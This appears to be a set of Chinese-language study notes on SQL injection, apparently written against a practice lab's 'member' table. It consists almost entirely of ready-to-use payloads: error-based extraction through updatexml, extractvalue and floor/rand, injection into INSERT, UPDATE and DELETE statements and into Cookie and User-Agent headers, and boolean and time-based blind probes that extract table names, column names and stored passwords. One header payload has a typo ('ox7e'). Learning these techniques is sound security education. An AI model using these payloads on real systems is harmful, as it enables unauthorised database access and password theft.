SQL注入

基础知识

数字： select username,email from users where id=1;

字符串：Select id,email from members where username='xxx';

搜索型：select id,email from member where username like '%v%';

我们所有的注入的攻击，本质上是对网站上的sql进行闭合 然后执行我们自己的payload

基于报错的 updatexml()

allen' and updatexml(1,version(),0)#

allen' and updatexml(1,concat(0x7e, version()),0)#

获取表名：

allen' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() limit 1,1)),0)#

allen' and updatexml(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database())),0)#

获取列名：

allen' and updatexml(1,concat(0x7e, (select column_name from information_schema.columns where table_name='member' limit 1,1)),0)#

再来获取数据

allen' and updatexml(1,concat(0x7e, (select pw from member limit 0,1)),0)#

基于报错的extractvalue函数

用法同上

kobe' and extractvalue(0, concat(0x7e, database())) #

基于floor()

取整函数

报错注入准确地说应该是floor,count,group by冲突报错

Lucy' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a )#

insert注入

insert into member(`username`, `pw`, `sex`, `phonenum`, `address`, `email`) values('123', '456', 'boy', 1, 2,3 );

insert into member(username,pw) value('allen' or updatexml(1, concat(0x7e, database()),0) or ' ',122);

update注入

同上

delete注入

1 or updatexml(1,concat(0x7e, (select pw from member limit 1,1)),0)

基于http header

Cookie：ant[uname]=admin' and updatexml(1,concat(0x7e, (select pw from member limit 1,1)),0)#

User-Agent: Firefox' or updatexml(1, concat(ox7e, database()), 0) or '

Sql盲注

lucy' and 1=1#

lucy' and 1=2#

布尔型的盲注：

lucy' and ascii(substr(database(),1,1))=100#

lucy' and ascii(substr(database(),1,1))>113#

时间的盲注

lucy' and sleep(5) #

and if(ascii(substr(database(), 2,1))=99, sleep(3), 1)
